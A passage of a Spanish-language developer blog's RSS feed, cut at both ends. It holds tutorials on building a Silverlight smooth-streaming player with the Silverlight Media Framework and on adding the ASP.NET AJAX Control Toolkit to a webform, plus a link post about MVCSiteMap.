<p>&nbsp;<img src="http://geeks.ms/resized-image.ashx/__size/550x0/__key/CommunityServer.Blogs.Components.WeblogFiles/jsosa/Silverlight2.jpg" border="0" alt="" /></p>
<p class="MsoNormal">&nbsp;<span style="font-family:Calibri;font-size:small;">El primero es el proyecto Silverlight y el segundo el proyecto web que va a hospedar el reproductor.</span></p>
<p class="MsoNormal"><span style="font-family:Calibri;font-size:small;">&nbsp;</span><span style="font-family:Calibri;font-size:small;">Lo primero que hacemos es a&ntilde;adir las referencias que necesitamos en el proyecto Silverlight. A&ntilde;adimos las referencias del SMF y adem&aacute;s la del Microsoft Media Smooth Streaming.</span></p>
<p>&nbsp;<img src="http://geeks.ms/resized-image.ashx/__size/550x0/__key/CommunityServer.Blogs.Components.WeblogFiles/jsosa/Silverlight3.jpg" border="0" alt="" /></p>
<p class="MsoNormal"><span style="font-family:Calibri;font-size:small;"><a href="http://geeks.ms/cfs-file.ashx/__key/CommunityServer.Blogs.Components.WeblogFiles/jsosa/Silverlight3.jpg"></a></span></p>
<p>&nbsp;&nbsp;<span style="font-family:Calibri;font-size:small;">Las que vamos a utilizar en nuestro control son:</span></p>
<p class="MsoListParagraphCxSpFirst"><span style="font-family:Symbol;mso-fareast-font-family:Symbol;mso-bidi-font-family:Symbol;"><span style="mso-list:Ignore;"><span style="font-size:small;">&middot;</span><span style="font:7pt &#39;Times New Roman&#39;;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span></span><span style="font-family:Calibri;font-size:small;">Microsoft.SilverlightMediaFramework.Player </span></p>
<p class="MsoListParagraphCxSpLast"><span style="font-family:Symbol;mso-fareast-font-family:Symbol;mso-bidi-font-family:Symbol;"><span style="mso-list:Ignore;"><span style="font-size:small;">&middot;</span><span style="font:7pt &#39;Times New Roman&#39;;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span></span><span style="font-family:Calibri;font-size:small;">Microsoft.Web.Media.SmoothStreaming</span></p>
<p class="MsoNormal"><span style="font-family:Calibri;font-size:small;">&nbsp;</span></p>
<p class="MsoNormal"><span style="font-family:Calibri;font-size:small;">Ahora nos vamos a MainPage.xaml y a&ntilde;adimos los namespaces que vamos a utilizar:</span></p>
<div style="padding-bottom:1pt;padding-left:4pt;padding-right:4pt;background:#ddd9c3;padding-top:1pt;mso-element:para-border-div;mso-border-alt:dashed windowtext .5pt;mso-background-themecolor:background2;mso-background-themeshade:230;border:windowtext 1pt dashed;">
<p class="MsoNormal"><span style="font-family:&#39;Courier New&#39;;color:red;font-size:10pt;mso-no-proof:yes;">xmlns</span><span style="font-family:&#39;Courier New&#39;;color:blue;font-size:10pt;mso-no-proof:yes;">:</span><span style="font-family:&#39;Courier New&#39;;color:red;font-size:10pt;mso-no-proof:yes;">p</span><span style="font-family:&#39;Courier New&#39;;color:blue;font-size:10pt;mso-no-proof:yes;">=&quot;clr-namespace:Microsoft.SilverlightMediaFramework.Player;assembly=Microsoft.SilverlightMediaFramework.Player&quot;</span><span style="font-family:&#39;Courier New&#39;;font-size:10pt;mso-no-proof:yes;"> </span></p>
<p class="MsoNormal"><span style="line-height:115%;font-family:&#39;Courier New&#39;;font-size:10pt;mso-no-proof:yes;"><span style="mso-spacerun:yes;">&nbsp;&nbsp; </span><span style="color:red;"><span style="mso-spacerun:yes;">&nbsp;</span></span></span><span lang="EN-US" style="line-height:115%;font-family:&#39;Courier New&#39;;color:red;font-size:10pt;mso-no-proof:yes;mso-ansi-language:EN-US;">xmlns</span><span lang="EN-US" style="line-height:115%;font-family:&#39;Courier New&#39;;color:blue;font-size:10pt;mso-no-proof:yes;mso-ansi-language:EN-US;">:</span><span lang="EN-US" style="line-height:115%;font-family:&#39;Courier New&#39;;color:red;font-size:10pt;mso-no-proof:yes;mso-ansi-language:EN-US;">s</span><span lang="EN-US" style="line-height:115%;font-family:&#39;Courier New&#39;;color:blue;font-size:10pt;mso-no-proof:yes;mso-ansi-language:EN-US;">=&quot;clr-namespace:Microsoft.Web.Media.SmoothStreaming;assembly=Microsoft.Web.Media.SmoothStreaming&quot;</span><span lang="EN-US" style="mso-ansi-language:EN-US;"></span></p>
</div>
<p class="MsoNormal"><span lang="EN-US" style="mso-ansi-language:EN-US;"><span style="font-family:Calibri;font-size:small;">&nbsp;</span></span></p>
<p class="MsoNormal"><span style="font-family:Calibri;font-size:small;">y a&ntilde;adimos el reproductor:</span></p>
<div style="padding-bottom:1pt;padding-left:4pt;padding-right:4pt;background:#ddd9c3;padding-top:1pt;mso-element:para-border-div;mso-border-alt:dashed windowtext .5pt;mso-background-themecolor:background2;mso-background-themeshade:230;border:windowtext 1pt dashed;">
<p class="MsoNormal"><span style="font-family:&#39;Courier New&#39;;color:blue;font-size:10pt;mso-no-proof:yes;">&lt;</span><span style="font-family:&#39;Courier New&#39;;color:#a31515;font-size:10pt;mso-no-proof:yes;">p</span><span style="font-family:&#39;Courier New&#39;;color:blue;font-size:10pt;mso-no-proof:yes;">:</span><span style="font-family:&#39;Courier New&#39;;color:#a31515;font-size:10pt;mso-no-proof:yes;">Player</span><span style="font-family:&#39;Courier New&#39;;color:blue;font-size:10pt;mso-no-proof:yes;">&gt;</span></p>
<p class="MsoNormal"><span style="font-family:&#39;Courier New&#39;;color:#a31515;font-size:10pt;mso-no-proof:yes;"><span style="mso-spacerun:yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span lang="EN-US" style="font-family:&#39;Courier New&#39;;color:blue;font-size:10pt;mso-no-proof:yes;mso-ansi-language:EN-US;">&lt;</span><span lang="EN-US" style="font-family:&#39;Courier New&#39;;color:#a31515;font-size:10pt;mso-no-proof:yes;mso-ansi-language:EN-US;">s</span><span lang="EN-US" style="font-family:&#39;Courier New&#39;;color:blue;font-size:10pt;mso-no-proof:yes;mso-ansi-language:EN-US;">:</span><span lang="EN-US" style="font-family:&#39;Courier New&#39;;color:#a31515;font-size:10pt;mso-no-proof:yes;mso-ansi-language:EN-US;">SmoothStreamingMediaElement</span><span lang="EN-US" style="font-family:&#39;Courier New&#39;;font-size:10pt;mso-no-proof:yes;mso-ansi-language:EN-US;"> </span></p>
<p class="MsoNormal"><span lang="EN-US" style="font-family:&#39;Courier New&#39;;font-size:10pt;mso-no-proof:yes;mso-ansi-language:EN-US;"><span style="mso-spacerun:yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span style="color:red;"><span style="mso-spacerun:yes;">&nbsp;</span>AutoPlay</span><span style="color:blue;">=&quot;True&quot;</span><span style="color:red;"> SmoothStreamingSource</span><span style="color:blue;">=&quot;http://localhost/IISSmooth/GreenZone.ism/Manifest&quot; /&gt;</span></span></p>
<p class="MsoNormal"><span lang="EN-US" style="line-height:115%;font-family:&#39;Courier New&#39;;color:#a31515;font-size:10pt;mso-no-proof:yes;mso-ansi-language:EN-US;"><span style="mso-spacerun:yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span style="line-height:115%;font-family:&#39;Courier New&#39;;color:blue;font-size:10pt;mso-no-proof:yes;">&lt;/</span><span style="line-height:115%;font-family:&#39;Courier New&#39;;color:#a31515;font-size:10pt;mso-no-proof:yes;">p</span><span style="line-height:115%;font-family:&#39;Courier New&#39;;color:blue;font-size:10pt;mso-no-proof:yes;">:</span><span style="line-height:115%;font-family:&#39;Courier New&#39;;color:#a31515;font-size:10pt;mso-no-proof:yes;">Player</span><span style="line-height:115%;font-family:&#39;Courier New&#39;;color:blue;font-size:10pt;mso-no-proof:yes;">&gt;</span></p>
</div>
<p class="MsoNormal"><span style="font-family:Calibri;font-size:small;">Vemos que el element Player pertenece al namespace <b style="mso-bidi-font-weight:normal;">p </b>correspondiente al Player mientras que el elemento que nos permite hacer smoothstreaming pertenece al namespace <b style="mso-bidi-font-weight:normal;">s</b>.</span></p>
<p class="MsoNormal"><span style="font-family:Calibri;font-size:small;">He indicado que comience autom&aacute;ticamente y le indico la ruta donde se encuentra el Manifiesto del archivo que voy a reproducir. En este ejemplo he creado un directorio virtual llamado IISSmooth donde almaceno los videos.</span></p>
<p class="MsoNormal"><span style="font-family:Calibri;font-size:small;">Y para hacer las pruebas me he creado una aplicaci&oacute;n en IIS que he llamado PruebaSMF.Web que contiene el c&oacute;digo que hemos desarrollado.</span></p>
<p>&nbsp;</p>
<p class="MsoNormal"><span style="font-family:Calibri;font-size:small;"><a href="http://geeks.ms/cfs-file.ashx/__key/CommunityServer.Blogs.Components.WeblogFiles/jsosa/Silverlight4.jpg"></a></span></p>
<p>&nbsp;<img src="http://geeks.ms/resized-image.ashx/__size/550x0/__key/CommunityServer.Blogs.Components.WeblogFiles/jsosa/Silverlight4.jpg" border="0" alt="" /></p>
<p class="MsoNormal">&nbsp;<span style="font-family:Calibri;font-size:small;">Vemos que la aplicaci&oacute;n Silverlight la he incluido tambi&eacute;n en el IIS dentro de la carpeta PruebaSMF.</span></p>
<p class="MsoNormal"><span style="font-family:Calibri;font-size:small;">&nbsp;</span></p>
<p class="MsoNormal"><span style="font-family:Calibri;font-size:small;">Luego abriendo un navegador y poniendo la url </span><a href="http://localhost/PruebaSMF.Web/PruebaSMFTestPage.aspx"><span style="font-family:Calibri;color:#0000ff;font-size:small;">http://localhost/PruebaSMF.Web/PruebaSMFTestPage.aspx</span></a><span style="font-family:Calibri;font-size:small;"> <span style="mso-spacerun:yes;">&nbsp;</span>podemos ver el ejemplo en funcionamiento.</span></p>
<p>&nbsp;</p>
<p class="MsoNormal"><span style="font-family:Calibri;font-size:small;"><a href="http://geeks.ms/cfs-file.ashx/__key/CommunityServer.Blogs.Components.WeblogFiles/jsosa/Silverlight5.jpg"></a></span></p>
<p>&nbsp;<img src="http://geeks.ms/resized-image.ashx/__size/550x0/__key/CommunityServer.Blogs.Components.WeblogFiles/jsosa/Silverlight5.jpg" border="0" alt="" /></p>
<p class="MsoNormal">&nbsp;<span style="font-family:Calibri;font-size:small;">Con este ejemplo sencillo he intentado mostrar c&oacute;mo utilizar este framework open source (SMF) para poder crear f&aacute;cilmente un reproductor que consuma recursos v&iacute;a streaming.</span></p>
<p class="MsoNormal"><span style="font-family:Calibri;font-size:small;">Espero sea de utilidad.</span></p>
<p class="MsoNormal"><span style="font-family:Calibri;font-size:small;">Un saludo.</span></p>
</div>
</div>
]]></content:encoded>
			<wfw:commentRss>http://nodevelop.com/blog/index.php/2010/03/smooth-streaming-con-microsoft-silverlight-media-framework-smf/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>SiteMap en ASP.NET MVC</title>
		<link>http://nodevelop.com/blog/index.php/2009/12/sitemap-en-asp-net-mvc/</link>
		<comments>http://nodevelop.com/blog/index.php/2009/12/sitemap-en-asp-net-mvc/#comments</comments>
		<pubDate>Wed, 30 Dec 2009 23:44:36 +0000</pubDate>
		<dc:creator>jsosa</dc:creator>
				<category><![CDATA[Tips]]></category>
		<category><![CDATA[ASP.NET]]></category>
		<category><![CDATA[ASP.NET MVC]]></category>
		<category><![CDATA[geeks]]></category>

		<guid isPermaLink="false">http://nodevelop.com/blog/?p=71</guid>
		<description><![CDATA[Anoto un enlace con el que podemos dotar a nuestra aplicaci&#243;n ASP.NET MVC del SiteMap.
MVCSiteMap en Codeplex
Un saludo.
]]></description>
			<content:encoded><![CDATA[<p>Anoto un enlace con el que podemos dotar a nuestra aplicaci&oacute;n ASP.NET MVC del SiteMap.</p>
<p><a target="_blank" href="http://mvcsitemap.codeplex.com/">MVCSiteMap en Codeplex</a></p>
<p>Un saludo.</p>
]]></content:encoded>
			<wfw:commentRss>http://nodevelop.com/blog/index.php/2009/12/sitemap-en-asp-net-mvc/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Incorporando ASP.NET AJAX CONTROL TOOLKIT a Webforms</title>
		<link>http://nodevelop.com/blog/index.php/2009/12/incorporando-asp-net-ajax-control-toolkit-a-webforms/</link>
		<comments>http://nodevelop.com/blog/index.php/2009/12/incorporando-asp-net-ajax-control-toolkit-a-webforms/#comments</comments>
		<pubDate>Tue, 15 Dec 2009 17:01:13 +0000</pubDate>
		<dc:creator>jsosa</dc:creator>
				<category><![CDATA[Code]]></category>
		<category><![CDATA[AJAX]]></category>
		<category><![CDATA[ASP.NET]]></category>
		<category><![CDATA[geeks]]></category>

		<guid isPermaLink="false">http://nodevelop.com/blog/?p=67</guid>
		<description><![CDATA[Vamos a usar la librer&#237;a Open Source&#160; Ajax Control ToolKit que corre sobre el Microsoft ASP.NET AJAX framework para a&#241;adir controles con funcionalidad Ajax a nuestro webform.


&#160; 

&#160;
&#160;
Primero descargamos el ToolKit de CodePlex: http://www.codeplex.com/wikipage?ProjectName=AjaxControlToolkit
&#160;Para poder utilizarlo en nuestro proyecto tenemos que a&#241;adir una referencia al ensamblado del ToolKit que encontraremos en el directorio donde hemos [...]]]></description>
			<content:encoded><![CDATA[<p class="MsoNormal"><span style="font-size: small;"><span style="font-family: Calibri;">Vamos a usar la librer&iacute;a Open Source<span style="mso-spacerun: yes;">&nbsp; </span>Ajax Control ToolKit que corre sobre el<span style="mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;"> Microsoft ASP.NET AJAX framework para a&ntilde;adir controles con funcionalidad Ajax a nuestro webform.<o :p></o></span></span></span></p>
<p class="MsoNormal" align="center"><span style="mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin; mso-fareast-language: ES; mso-no-proof: yes;"><v :shapetype coordsize="21600,21600" o:spt="75" o:preferrelative="t" path="m@4@5l@4@11@9@11@9@5xe" filled="f" stroked="f" id="_x0000_t75"></v><v :stroke joinstyle="miter"></v><v :formulas></v><v :f eqn="if lineDrawn pixelLineWidth 0"></v><v :f eqn="sum @0 1 0"></v><v :f eqn="sum 0 0 @1"></v><v :f eqn="prod @2 1 2"></v><v :f eqn="prod @3 21600 pixelWidth"></v><v :f eqn="prod @3 21600 pixelHeight"></v><v :f eqn="sum @0 0 1"></v><v :f eqn="prod @6 1 2"></v><v :f eqn="prod @7 21600 pixelWidth"></v><v :f eqn="sum @8 21600 0"></v><v :f eqn="prod @7 21600 pixelHeight"></v><v :f eqn="sum @10 21600 0"></v><v :path o:extrusionok="f" gradientshapeok="t" o:connecttype="rect"></v><o :lock v:ext="edit" aspectratio="t"></o></span><span style="mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;"><o :p></o></span></p>
<p><span style="mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;"><o :p></o></span></p>
<p>&nbsp; </p>
<p><center><img src="http://www.geeks.ms/resized-image.ashx/__size/550x0/__key/CommunityServer.Blogs.Components.WeblogFiles/jsosa/AJAXToolKit_5F00_1.jpg" border="0" /></center></p>
<p>&nbsp;</p>
<p class="MsoNormal">&nbsp;</p>
<p class="MsoNormal"><span style="mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;"><span style="font-family: Calibri; font-size: small;">Primero descargamos el ToolKit de CodePlex: </span></span><a href="http://www.codeplex.com/wikipage?ProjectName=AjaxControlToolkit"><span style="mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;"><span style="font-family: Calibri; font-size: small;">http://www.codeplex.com/wikipage?ProjectName=AjaxControlToolkit</span></span></a><span style="mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;"><o :p></o></span></p>
<p class="MsoNormal"><span style="mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;"><o :p><span style="font-family: Calibri; font-size: small;">&nbsp;</span></o></span><span style="mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;"><span style="font-size: small;"><span style="font-family: Calibri;">Para poder utilizarlo en nuestro proyecto tenemos que a&ntilde;adir una referencia al ensamblado del ToolKit que encontraremos en el directorio donde hemos descomprimido el AjaxControlToolkit:<o :p></o></span></span></span></p>
<p class="MsoNormal"><span style="mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;"><o :p><span style="font-family: Calibri; font-size: small;">&nbsp;</span></o></span></p>
<p class="MsoNormal"><v :shapetype o:oned="t" coordsize="21600,21600" o:spt="32" path="m,l21600,21600e" filled="f" id="_x0000_t32"></v><v :path arrowok="t" fillok="f" o:connecttype="none"></v><o :lock shapetype="t" v:ext="edit"></o><v :shape o:connectortype="straight" strokecolor="red" strokeweight="1.25pt" type="#_x0000_t32" id="_x0000_s1026" style="z-index: 1; position: absolute; margin-top: 200.35pt; width: 99pt; height: 6.75pt; margin-left: -5.55pt; flip: y;"></v><v :stroke endarrow="block"><span style="font-family: Calibri; font-size: small;"></span></v></p>
<p><center><a href="/cfs-file.ashx/__key/CommunityServer.Blogs.Components.WeblogFiles/jsosa/AJAXToolKit_5F00_2.jpg"><img src="http://www.geeks.ms/resized-image.ashx/__size/550x0/__key/CommunityServer.Blogs.Components.WeblogFiles/jsosa/AJAXToolKit_5F00_2.jpg" border="0" /></a></center></p>
<p><span style="mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin; mso-fareast-language: ES; mso-no-proof: yes;"></span><span style="mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;"><o :p></o></span></p>
<p>&nbsp;</p>
<p class="MsoNormal" align="center"><span style="font-family: Calibri; font-size: small;">AjaxControlToolkit.dll</span></p>
<p class="MsoNormal"><o :p><span style="font-family: Calibri; font-size: small;">&nbsp;</span></o></p>
<p class="MsoNormal"><span style="font-family: Calibri; font-size: small;">Para poder usar los controles a&ntilde;adimos una ficha de componentes en el Toolbox del Visual Studio:</span></p>
<p class="MsoNormal" align="center"><v :oval strokecolor="red" filled="f" id="_x0000_s1027" style="z-index: 2; position: absolute; text-align: left; margin-top: 151.9pt; width: 54pt; height: 12.75pt; margin-left: 199.2pt; left: 0px;"><span style="font-family: Calibri; font-size: small;"></span></v><a href="/cfs-file.ashx/__key/CommunityServer.Blogs.Components.WeblogFiles/jsosa/AJAXToolKit_5F00_3.jpg"><img src="http://www.geeks.ms/resized-image.ashx/__size/550x0/__key/CommunityServer.Blogs.Components.WeblogFiles/jsosa/AJAXToolKit_5F00_3.jpg" border="0" /></a><span style="mso-fareast-language: ES; mso-no-proof: yes;"></span></p>
<p class="MsoNormal"><span style="font-family: Calibri; font-size: small;">Pulsamos en elegir Items para explorar y buscar el archivo DLL antes mencionado.</span></p>
<p class="MsoNormal"><span style="font-family: Calibri; font-size: small;">Una vez hecho esto ya nos saldr&aacute; la ficha con los controles del Ajax ToolKit 2.0.</span></p>
<p class="MsoNormal"><o :p><span style="font-family: Calibri; font-size: small;">&nbsp;</span></o><span style="font-family: Calibri; font-size: small;">Veamos ahora un ejemplo de los pasos que hay que realizar para implementar cualquiera de estos componentes.</span></p>
<p class="MsoNormal"><o :p><span style="font-family: Calibri; font-size: small;">&nbsp;</span></o><span style="font-family: Calibri; font-size: small;">1.- Siempre hay que incluir en el formulario y antes de usar cualquier control un Script Manager o </span></p>
<div style="padding-bottom: 1pt; padding-left: 4pt; padding-right: 4pt; background: #ddd9c3; padding-top: 1pt; mso-element: para-border-div; mso-border-alt: dashed windowtext .5pt; mso-background-themecolor: background2; mso-background-themeshade: 230; border: windowtext 1pt dashed;">
<p class="MsoNormal"><span lang="EN-US" style="font-family: 'Courier New'; color: blue; font-size: 10pt; mso-no-proof: yes; mso-ansi-language: EN-US;">&lt;</span><span lang="EN-US" style="font-family: 'Courier New'; color: #a31515; font-size: 10pt; mso-no-proof: yes; mso-ansi-language: EN-US;">asp</span><span lang="EN-US" style="font-family: 'Courier New'; color: blue; font-size: 10pt; mso-no-proof: yes; mso-ansi-language: EN-US;">:</span><span lang="EN-US" style="font-family: 'Courier New'; color: #a31515; font-size: 10pt; mso-no-proof: yes; mso-ansi-language: EN-US;">ScriptManager</span><span lang="EN-US" style="font-family: 'Courier New'; font-size: 10pt; mso-no-proof: yes; mso-ansi-language: EN-US;"> <span style="color: red;">ID</span><span style="color: blue;">=&#8221;ScriptManager1&#8243;</span> <span style="color: red;">runat</span><span style="color: blue;">=&#8221;server&#8221;&gt;<o :p></o></span></span></p>
<p class="MsoNormal"><span lang="EN-US" style="font-family: 'Courier New'; font-size: 10pt; mso-no-proof: yes; mso-ansi-language: EN-US;"><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp; </span></span><span style="font-family: 'Courier New'; color: blue; font-size: 10pt; mso-no-proof: yes;">&lt;/</span><span style="font-family: 'Courier New'; color: #a31515; font-size: 10pt; mso-no-proof: yes;">asp</span><span style="font-family: 'Courier New'; color: blue; font-size: 10pt; mso-no-proof: yes;">:</span><span style="font-family: 'Courier New'; color: #a31515; font-size: 10pt; mso-no-proof: yes;">ScriptManager</span><span style="font-family: 'Courier New'; color: blue; font-size: 10pt; mso-no-proof: yes;">&gt;<o :p></o></span></p>
</div>
<p class="MsoNormal"><span style="font-family: 'Courier New'; color: blue; font-size: 10pt; mso-no-proof: yes;"><o :p>&nbsp;</o></span><span style="mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;"><span style="font-size: small;"><span style="font-family: Calibri;">que va a ser el encargado de manejar las peticiones Ajax.<o :p></o></span></span></span></p>
<p class="MsoNormal"><span style="mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;"><o :p><span style="font-family: Calibri; font-size: small;">&nbsp;</span></o></span><span style="mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;"><span style="font-size: small;"><span style="font-family: Calibri;">Y a&ntilde;adimos la directiva al comienzo de la p&aacute;gina (si no se a&ntilde;ade cuando arrastremos el nuevo control):<o :p></o></span></span></span></p>
<div style="padding-bottom: 1pt; padding-left: 4pt; padding-right: 4pt; background: #ddd9c3; padding-top: 1pt; mso-element: para-border-div; mso-border-alt: dashed windowtext .5pt; mso-background-themecolor: background2; mso-background-themeshade: 230; border: windowtext 1pt dashed;">
<p class="MsoNormal"><span lang="EN-US" style="line-height: 115%; font-family: 'Courier New'; background: yellow; font-size: 10pt; mso-no-proof: yes; mso-ansi-language: EN-US; mso-highlight: yellow;">&lt;%</span><span lang="EN-US" style="line-height: 115%; font-family: 'Courier New'; color: blue; font-size: 10pt; mso-no-proof: yes; mso-ansi-language: EN-US;">@</span><span lang="EN-US" style="line-height: 115%; font-family: 'Courier New'; font-size: 10pt; mso-no-proof: yes; mso-ansi-language: EN-US;"> <span style="color: #a31515;">Register</span> <span style="color: red;">Assembly</span><span style="color: blue;">=&#8221;AjaxControlToolkit&#8221;</span> <span style="color: red;">Namespace</span><span style="color: blue;">=&#8221;AjaxControlToolkit&#8221;</span> <span style="color: red;">TagPrefix</span><span style="color: blue;">=&#8221;asp&#8221;</span> <span style="background: yellow; mso-highlight: yellow;">%&gt;</span></span><span lang="EN-US" style="mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin; mso-ansi-language: EN-US;"><o :p></o></span></p>
</div>
<p class="MsoNormal"><span style="mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;"><span style="font-size: small;"><span style="font-family: Calibri;">2.-<span style="mso-spacerun: yes;">&nbsp; </span>Para nuestro ejemplo vamos a a&ntilde;adir un Update Panel que se encargue de actualizar alguna parte o contenido del webform, en este caso el ListView del ejemplo del CLIENTE WEB PARA TWITTER:<o :p></o></span></span></span></p>
<p class="MsoNormal"><span style="mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;"><o :p><span style="font-family: Calibri; font-size: small;">&nbsp;</span></o></span></p>
<div style="padding-bottom: 1pt; padding-left: 4pt; padding-right: 4pt; background: #ddd9c3; padding-top: 1pt; mso-element: para-border-div; mso-border-alt: dashed windowtext .5pt; mso-background-themecolor: background2; mso-background-themeshade: 230; border: windowtext 1pt dashed;">
<p class="MsoNormal"><span lang="EN-US" style="font-family: 'Courier New'; color: blue; font-size: 10pt; mso-no-proof: yes; mso-ansi-language: EN-US;">&lt;</span><span lang="EN-US" style="font-family: 'Courier New'; color: #a31515; font-size: 10pt; mso-no-proof: yes; mso-ansi-language: EN-US;">asp</span><span lang="EN-US" style="font-family: 'Courier New'; color: blue; font-size: 10pt; mso-no-proof: yes; mso-ansi-language: EN-US;">:</span><span lang="EN-US" style="font-family: 'Courier New'; color: #a31515; font-size: 10pt; mso-no-proof: yes; mso-ansi-language: EN-US;">UpdatePanel</span><span lang="EN-US" style="font-family: 'Courier New'; font-size: 10pt; mso-no-proof: yes; mso-ansi-language: EN-US;"> <span style="color: red;">ID</span><span style="color: blue;">=&#8221;UpdatePanel1&#8243;</span> <span style="color: red;">runat</span><span style="color: blue;">=&#8221;server&#8221;&gt;<o :p></o></span></span></p>
<p class="MsoNormal"><span lang="EN-US" style="font-family: 'Courier New'; font-size: 10pt; mso-no-proof: yes; mso-ansi-language: EN-US;"><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><o :p></o></span></p>
<p class="MsoNormal"><span lang="EN-US" style="font-family: 'Courier New'; font-size: 10pt; mso-no-proof: yes; mso-ansi-language: EN-US;"><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span style="color: blue;">&lt;</span><span style="color: #a31515;">ContentTemplate</span><span style="color: blue;">&gt;<o :p></o></span></span></p>
<p class="MsoNormal"><span lang="EN-US" style="font-family: 'Courier New'; font-size: 10pt; mso-no-proof: yes; mso-ansi-language: EN-US;"><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span style="color: blue;">&lt;</span><span style="color: #a31515;">asp</span><span style="color: blue;">:</span><span style="color: #a31515;">Timer</span> <span style="color: red;">runat</span><span style="color: blue;">=&#8221;server&#8221;</span> <span style="color: red;">Interval</span><span style="color: blue;">=&#8221;10000&#8243;</span> <span style="color: red;">OnTick</span><span style="color: blue;">=&#8221;Timer1_Tick&#8221;</span> <span style="color: red;">id</span><span style="color: blue;">=&#8221;Timer1&#8243;&gt;<o :p></o></span></span></p>
<p class="MsoNormal"><span lang="EN-US" style="font-family: 'Courier New'; font-size: 10pt; mso-no-proof: yes; mso-ansi-language: EN-US;"><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span style="color: blue;">&lt;/</span><span style="color: #a31515;">asp</span><span style="color: blue;">:</span><span style="color: #a31515;">Timer</span><span style="color: blue;">&gt;</span> <o :p></o></span></p>
<p class="MsoNormal"><span lang="EN-US" style="font-family: 'Courier New'; font-size: 10pt; mso-no-proof: yes; mso-ansi-language: EN-US;"><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><o :p></o></span></p>
<p class="MsoNormal"><span lang="EN-US" style="font-family: 'Courier New'; font-size: 10pt; mso-no-proof: yes; mso-ansi-language: EN-US;"><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span style="color: blue;">&lt;</span><span style="color: #a31515;">div</span> <span style="color: red;">id</span><span style="color: blue;">=&#8221;Twitter&#8221;</span> <span style="color: red;">runat</span><span style="color: blue;">=&#8221;server&#8221;</span> <o :p></o></span></p>
<p class="MsoNormal"><span lang="EN-US" style="font-family: 'Courier New'; font-size: 10pt; mso-no-proof: yes; mso-ansi-language: EN-US;"><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span style="color: red;">style</span><span style="color: blue;">=&#8221;</span><span style="color: red;">background-color</span>: <span style="color: blue;">#000000</span>; <span style="color: red;">font-weight</span>: <span style="color: blue;">normal</span>; <span style="color: red;">position</span>: <span style="color: blue;">absolute</span>; <span style="color: red;">width</span>: <span style="color: blue;">367px</span>; <span style="color: red;">height</span>: <span style="color: blue;">250px</span>; <span style="color: red;">top</span>: <span style="color: blue;">50px</span>; <span style="color: red;">left</span>: <span style="color: blue;">800px</span>; <span style="color: red;">color</span>: <span style="color: blue;">#FFFFFF</span>; <span style="color: red;">overflow</span>: <span style="color: blue;">scroll</span>;<span style="color: blue;">&#8220;&gt;<o :p></o></span></span></p>
<p class="MsoNormal"><span lang="EN-US" style="font-family: 'Courier New'; font-size: 10pt; mso-no-proof: yes; mso-ansi-language: EN-US;"><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><o :p></o></span></p>
<p class="MsoNormal"><span lang="EN-US" style="font-family: 'Courier New'; font-size: 10pt; mso-no-proof: yes; mso-ansi-language: EN-US;"><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span style="color: blue;">&lt;</span><span style="color: #a31515;">asp</span><span style="color: blue;">:</span><span style="color: #a31515;">ListView</span> <span style="color: red;">ID</span><span style="color: blue;">=&#8221;LVTwitter&#8221;</span> <span style="color: red;">runat</span><span style="color: blue;">=&#8221;server&#8221;</span> <span style="color: red;">DataKeyNames</span><span style="color: blue;">=&#8221;User&#8221;&gt;<o :p></o></span></span></p>
